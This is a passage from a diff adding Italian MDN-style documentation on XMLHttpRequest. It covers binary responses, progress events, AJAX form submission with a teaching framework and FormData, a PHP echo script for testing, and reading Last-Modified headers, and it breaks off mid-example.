+oReq.open("GET", url, true);
+// riceve dei dati non porcessati come una stringa binaria
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+</pre>
+
+<p>La XMLHttpRequest Level 2 Specification aggiunge un nuovo <a href="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute" title="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute">attributo responseType</a> che permette di inviare e ricevere dati binari in modo molto più semplice.</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url, true);
+oReq.responseType = "arraybuffer";
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // non responseText
+  /* ... */
+}
+oReq.send();
+</pre>
+
+<p>Per più esempi si veda la pagina <a href="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data" title="DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">Sending and Receiving Binary Data</a>.</p>
+
+<h2 id="Monitoraggio_del_progresso">Monitoraggio del progresso</h2>
+
+<p>L'oggetto <code>XMLHttpRequest</code> fornisce la possibilità di ascoltare svariati eventi che possono occorrere mentre la richiesta è processata. Questo inclulde periodici aggiornamenti sul progresso, notificazione di errori e così via.</p>
+
+<p>Il supporto agli eventi di monitoraggio del progresso DOM dell'oggetto <code>XMLHttpRequest</code> ripetta le API <a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">specification progress events</a>: tali eventi implementano l'interfaccia {{domxref("ProgressEvent")}}.</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress, false);
+oReq.addEventListener("load", transferComplete, false);
+oReq.addEventListener("error", transferFailed, false);
+oReq.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+// ...
+
+// progress on transfers from the server to the client (downloads)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total;
+    // ...
+  } else {
+    // Impossibile elaborare il progresso perche' non si conosce la grandezza totale
+  }
+}
+
+function transferComplete(evt) {
+  alert("Trasferimento completato!");
+}
+
+function transferFailed(evt) {
+  alert("E' avvenuto un errore nel trasferimento");
+}
+
+function transferCanceled(evt) {
+  alert("Il trasferimento è stato cancellato dall'utente");
+}</pre>
+
+<p>Le linee 3-6 aggiungono degli event listener per i vari eventi che sono inviati mentre si performa un trasferimento di dati con l'oggetto <code>XMLHttpRequest</code>.</p>
+
+<div class="note"><strong>Nota:</strong> Quando si assegnano degli event listeners è necessario farlo prima di chiamare il metodo <code>open()</code> sulla richiesta. Se ciò non viene effettuato gli eventi non vengono inviati.</div>
+
+<p>L'event handler per il progresso, specificato dalla funzione <code>updateProgress()</code> in questo esempio, riceve il numero totale di byte da trasferire e il numero di byte trasferiti finora nei campi <code>total</code> e <code>loaded</code> rispettivamente. In ogni caso, se il campo <code>lengthComputable</code> risulta falsa, la lunghezza totale risulta sconosciuta e sarà riportata come zero.</p>
+
+<p>Gli eventi di progresso esistono sia per il download che per l'upload. Gli eventi di download sono notificati sull'oggetto <code>XMLHttpRequest</code> stesso, come indicato dall'esempio sopra. Quelli di upload, invece, sono notificati sull'attributo <code>XMLHttpRequest.upload</code> come mostrato sotto:</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress, false);
+oReq.upload.addEventListener("load", transferComplete, false);
+oReq.upload.addEventListener("error", transferFailed, false);
+oReq.upload.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+</pre>
+
+<div class="note"><strong>Nota:</strong> Gli eventi di progresso non sono disponibili per il protocollo <code>file://</code>.</div>
+
+<div class="note"><strong>Nota</strong>: Correntemente ci sono dei bug aperti per gli eventi di progresso che affliggono la versione 25 di Firefox su <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=908375">OS X</a> e <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=786953">Linux</a>.</div>
+
+<div class="note">
+<p><strong>Nota:</strong> A partire da {{Gecko("9.0")}}, gli eventi di progresso possono essere lanciati per ogni parte di dato ricevuta, inclusa l'ultima parte dove l'ultimo pacchetto è ricevuto e la connesione chiusa prima che l'evento di progresso sia notificato. In questo caso l'evento di progresso è notificato automaticamente quando occorre l'evento di "load" per tale pacchetto. Questo permette di creare un monitoraggio affidabile solamente osservando gli eventi di progresso.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> A partire da  {{Gecko("12.0")}}, se l'evento di progresso è chiamato con un <code>responseType</code> di tipo <code>moz-blob</code>, il valore di risposta sarà un {{domxref("Blob")}} contenente i dati ricevuti fino a quel punto.</p>
+</div>
+
+<p>Si puà anche rilevare tutti e tre le tipologie di terminazione del caricamento(<code>abort</code>, <code>load</code> o <code>error</code>) utilizzando l'evento <code>loadend</code>:</p>
+
+<pre class="brush:js">req.addEventListener("loadend", loadEnd, false);
+
+function loadEnd(e) {
+  alert("Trasferimento terminato (anche se non sappiamo come).");
+}
+</pre>
+
+<p>Si noti che non c'è modo di essere sicuri di conoscere con le informazioni ricevute dall'evento <code>loadend</code> quali condizioni hanno causato il termine dell'operazione. In ogni caso si può usare questo per gestire operazioni che devono essere eseguite al termine del trasferimento.</p>
+
+<h2 id="Inviare_form_e_caricare_file">Inviare form e caricare file</h2>
+
+<p>Istanze di un oggetto <code>XMLHttpRequest</code> possono essere usate per inviare form in principalmente due modi:</p>
+
+<ul>
+ <li>utilizzando AJAX</li>
+ <li>utilizzando le API fornite dall'oggetto <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a></li>
+</ul>
+
+<p>Il <strong>secondo modo</strong> (utilizzando l'oggetto <code>FormData</code>) è il più semplice e veloce, ma ha lo svantaggio che i dati raccolto non possono essere <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">trasformati in stringa</a>.<br>
+ Il<strong> primo modo</strong>, invece, è più complesso, ma è anche in cambio più potente e flessibile.</p>
+
+<h3 id="Usando_loggetto_XMLHttpRequest">Usando l'oggetto <code>XMLHttpRequest</code></h3>
+
+<p>Inviare form senza le API dell'oggetto <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> non richiede l'utilizzo di altre API tranne nel caso di <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> nel caso <strong>si voglia caricare più di un file</strong>.</p>
+
+<h4 id="Una_breve_introduzione_del_metodo_submit">Una breve introduzione del metodo submit</h4>
+
+<p>Un html {{ HTMLElement("form") }} può essere inviata in quattro possibili modi:</p>
+
+<ul>
+ <li>utilizzando il metodo <code>POST</code> e assegnando all'attributo <code>enctype</code> il valore <code>application/x-www-form-urlencoded</code> (default);</li>
+ <li>utilizzando il metodo <code>POST</code> e assegnando all'attributo <code>enctype</code> il valore <code>text/plain</code>;</li>
+ <li>utilizzando il metodo <code>POST</code> e assegnando all'attributo <code>enctype</code> il valore <code>multipart/form-data</code>;</li>
+ <li>utilizzando il metodo <code>GET</code> (in tal caso l'attributo <code>enctype</code> sarà ignorato).</li>
+</ul>
+
+<p>Ora, si consideri di inviare una form contenente solo due campi, chiamati <code>foo</code> e <code>baz</code>. Se si sta utilizzando il metodo <code>POST</code> il server riceverà una stringa simile a una delle seguenti tre linee a seconda del tipo di encoding utilizzato:</p>
+
+<ul>
+ <li>
+  <p>Metodo: <code>POST</code>; Encoding type: <code>application/x-www-form-urlencoded</code> (default):</p>
+
+  <pre>Content-Type: application/x-www-form-urlencoded
+
+foo=bar&amp;baz=The+first+line.&amp;#37;0D%0AThe+second+line.%0D%0A</pre>
+ </li>
+ <li>
+  <p>Metodo: <code>POST</code>; Encoding type: <code>text/plain</code>:</p>
+
+  <pre>Content-Type: text/plain
+
+foo=bar
+baz=The first line.
+The second line.</pre>
+ </li>
+ <li>
+  <p>Metodo: <code>POST</code>; Encoding type: <code>multipart/form-data</code>:</p>
+
+  <pre style="height: 100px; overflow: auto;">Content-Type: multipart/form-data; boundary=---------------------------314911788813839
+
+-----------------------------314911788813839
+Content-Disposition: form-data; name="foo"
+
+bar
+-----------------------------314911788813839
+Content-Disposition: form-data; name="baz"
+
+The first line.
+The second line.
+
+-----------------------------314911788813839--</pre>
+ </li>
+</ul>
+
+<p>Invece, se si utilizza un metodo <code>GET</code> una stringa simile alla seguente sarà semplicemente aggiunta all'URL:</p>
+
+<pre>?foo=bar&amp;baz=The%20first%20line.%0AThe%20second%20line.</pre>
+
+<h4 id="Un_piccolo_framwork_vanilla">Un piccolo framwork vanilla</h4>
+
+<p>Tutte queste cose sono eseguite automaticamente dal web browser ogni volta che si esegue il submit di una {{ HTMLElement("form") }}. Ma se si vuole fare lo stesso usando JavaScript bisogna istruire l'interprete su <em>tutte</em> le operazioni da eseguire. Inviare delle form in AJAX <em>puro</em> risulta troppo complesso per essere spiegato qui; per questa ragione abbiamo creato un <strong>framework completo (ma comunque puramente didattico)</strong> che possa essere usato in tutti e quattro i metodi di submit e anche per caricare dei file.</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with pure AJAX &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx &lt; nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) &amp; 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    alert(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* alert(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length &gt; 0 ? "?" + oData.segments.join("&amp;") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&amp;"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status &gt; 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----&gt; "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&amp;");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost &amp;&amp; oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem &lt; oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" &amp;&amp; oField.files.length &gt; 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile &lt; oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */
+          for (nFile = 0; nFile &lt; oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with pure AJAX&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      Your name: &lt;input type="text" name="user" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Your message:&lt;br /&gt;
+      &lt;textarea name="message" cols="40" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>Per testarlo, create una pagina chiamata <strong>register.php </strong>(al quale fanno riferimento gli attributi action di queste form) e inserite il seguente contenuto.</p>
+
+<pre class="brush: php">&lt;?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+
+</pre>
+
+<p>La sintassi per attivare lo script è semplicemente:</p>
+
+<pre class="syntaxbox">AJAXSubmit(myForm);</pre>
+
+<div class="note"><strong>Nota: </strong>Questo framework utilizza l'API <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> per eseguire l'upload dei file. QUesta è una API recente e non ancora implementata nei browser come IE9 o inferiori. Per questa ragione l'upload AJAX-only è considerato una  <strong>tecnica sperimentale</strong>. Se non si ha bisogno dell'upload di file binari questo framework funzionera egregiamente nella maggior parte dei browser.</div>
+
+<div class="note"><strong>Nota:</strong> Il modo migliore per inviare dei contenuti binari è attraverso <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer">ArrayBuffers</a> o <a href="/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob">Blobs</a> attraverso il metodo <a href="/en-US/docs/DOM/XMLHttpRequest#send%28%29" title="/en-US/docs/DOM/XMLHttpRequest#send()"><code>send()</code></a> e possibilmente il metodo <a href="/en-US/docs/DOM/FileReader#readAsArrayBuffer()" title="/en-US/docs/DOM/FileReader#readAsArrayBuffer()"><code>readAsArrayBuffer()</code></a> dell'API <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a>. Ma, siccome l'obiettivo di questo script è di fuonzionare con dei dati  <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiabli</a>, si è usato il metodo <a href="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary%28%29" title="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()"><code>sendAsBinary()</code></a> assieme al metodo <a href="/en-US/docs/DOM/FileReader#readAsBinaryString%28%29" title="/en-US/docs/DOM/FileReader#readAsBinaryString()"><code>readAsBinaryString()</code></a> delle API <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a>. Per questo, lo script sopra funziona sono quando si stanno gestendo file di piccole dimensioni. Se non si intende caricare del contenuto binario, considerare anche l'utilizzo delle API <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a>.</div>
+
+<h3 id="Usare_oggetti_FormData">Usare oggetti FormData</h3>
+
+<p>Il costruttore <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> permette di compliare una serie di coppie chiave/valore da inviare utilizzando una <code>XMLHttpRequest</code>. Si utilizza principalmente per inviare dati in una form, ma può essere usato indipendentemente dalle form per inviare dei dati con chiavi. I dati trasmessi sono gli stessi del formato utilizzato dal metodo <code>submit()</code> che le form usano per inviare i dati se il tipo encoding indicato è "multipart/form-data". Gli oggetti FormData possono essere utilizzati in uno svariato numero possibile con una XMLHttpRequest. Per esempi o speigazioni di come utilizzare una FormData con XMLHttpRequest si veda la pagina <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="Using FormData Objects">Usare l'oggetto FormData</a>. Per fini didattici di seguito una traduzione dell'<strong><a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">esempio precedente</a> modificato per accettare l'API delle <code>FormData</code></strong>. Si noti la brevità del codice.</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with FormData &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+"use strict";
+
+function ajaxSuccess () {
+  alert(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess;
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action, true);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem &lt; oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile &lt; oField.files.length; sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&amp;/, "?")), true);
+    oReq.send(null);
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with FormData&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;p&gt;The text/plain encoding is not supported by the FormData API.&lt;/p&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<div class="note"><strong>Nota:</strong> Come si è detto,gli oggetti<strong> {{domxref("FormData")}} non sono <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiabli</a></strong>. Se si desidera porre in stringa dei dati inviati, utilizzare il <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">precedente esempio in AJAX puro</a>. Si noti che ci sono degli elementi <code>file</code> nel campo {{ HTMLElement("input") }}, <strong>quando si invia una form attraverso l'API <code>FormData</code> API non è necessario utilizzare le API <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a></strong>: i file sono automaticamente caricati.</div>
+
+<h2 id="Get_last_modified_date">Get last modified date</h2>
+
+<pre class="brush: js">function getHeaderTime () {
+  alert(this.getResponseHeader("Last-Modified"));  /* A valid GMTString date or null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* use HEAD if you only need the headers! */, "yourpage.html", true);
+oReq.onload = getHeaderTime;
+oReq.send();</pre>
+
+<h3 id="Do_something_when_last_modified_date_changes">Do something when last modified date changes</h3>
+
+<p>Let's create these two functions:</p>
+
+<pre class="brush: js">function getHeaderTime () {
+
+  var
+    nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)),
+    nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif &gt; nLastVisit) {
+    window.localStorage.setItem('lm_' + this.filepath, Date.now());
